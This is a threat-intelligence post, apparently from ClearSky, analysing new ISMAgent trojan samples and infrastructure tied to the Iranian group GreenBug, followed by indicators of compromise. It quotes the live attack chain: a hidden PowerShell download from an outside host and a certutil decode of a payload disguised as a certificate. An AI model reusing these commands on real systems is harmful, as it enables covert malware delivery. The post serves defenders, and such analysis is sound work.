Recent ISMAgent Samples and Infrastructure by Iranian Threat Group GreenBug – ClearSky Cyber Security

Published: 2017-08-28 · Archived: 2026-04-05 21:43:31 UTC

Recently we detected new samples and Infrastructure of ISMAgent, a trojan in use by Iranian Threat Group GreenBug. Interestingly, as part of the delivery mechanism, the malware is disguised as a base64 digital certificate and decoded via certutil.exe. This post describes the new campaign.

change managment.dot

Sample *change managment.dot* (812d3c4fddf9bb81d507397345a29bb0) exploits CVE-2017-0199 and calls the following URL:

http://www.msoffice-cdn[.]com/updatecdnsrv/prelocated/owa/auth/template.rtf

which in turn runs this command:

*“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nologo -WindowStyle Hidden $webClient = New-Object http://System.Net .WebClient; $val = $webClient.DownloadString(‘**https://a.pomf[.]cat/ntluca.txt** ‘); add-content -path ‘C:\Users\USER\AppData\Roaming/srvRep.txt’ -value $val -force*

The command downloads *ntluca.txt* from *http://a.pomf[.]cat/ntluca.txt*.

Disguised as a base64 digital certificate, the file actually decodes to an ISMagent sample (96b47c5af8652ac99150bf602a88498b) via the following command:

C:\Windows\System32\certutil.exe" -decode C:\Users\USER\AppData\Roaming\srvRep.txt C:\Users\USER\AppData\Roaming\srvConhost.exe

Indicators of compromise

Indicators of compromise are presented below and are available on PassiveTotal.

Domain	cdnmsnupdate[.]com
Domain	msoffice-cdn[.]com
URL	http://74.91.19[.]122/action2/
URL	http://82.102.14[.]246/webdav/aws.exe
URL	http://www.msoffice-cdn[.]com/updatecdnsrv/prelocated/owa/auth/template.rtf
URL	http://a.pomf[.]cat/ntluca.txt
IP	185.162.235.121
IP	82.102.14.246
IP	74.91.19.122
Hash	6d2f8a06534e2ebebc43295fb266a8ca
Hash	812d3c4fddf9bb81d507397345a29bb0
Hash	3d497c4711c0226d86a693a40891f9a1
Hash	96b47c5af8652ac99150bf602a88498b

Hash	66eaef10226fb279dba64bb5948bc85b
Hash	7d83715a9a6aabcbc621cc786de0c9ea
Hash	15d9d184b71d243ae5c005c68a045889
whoisName	Neslihan Ozcivit
whoisEmail	neslihan.ozcivit@mail.ru
Filename	aws.exe
Filename	Crypted.exe
Filename	document-gerenated-problem.exe
Filename	PolicyConverter.exe

The Maltego graph below depicts the relationship among the indicators (click to enlarge):

Source: http://www.clearskysec.com/ismagent/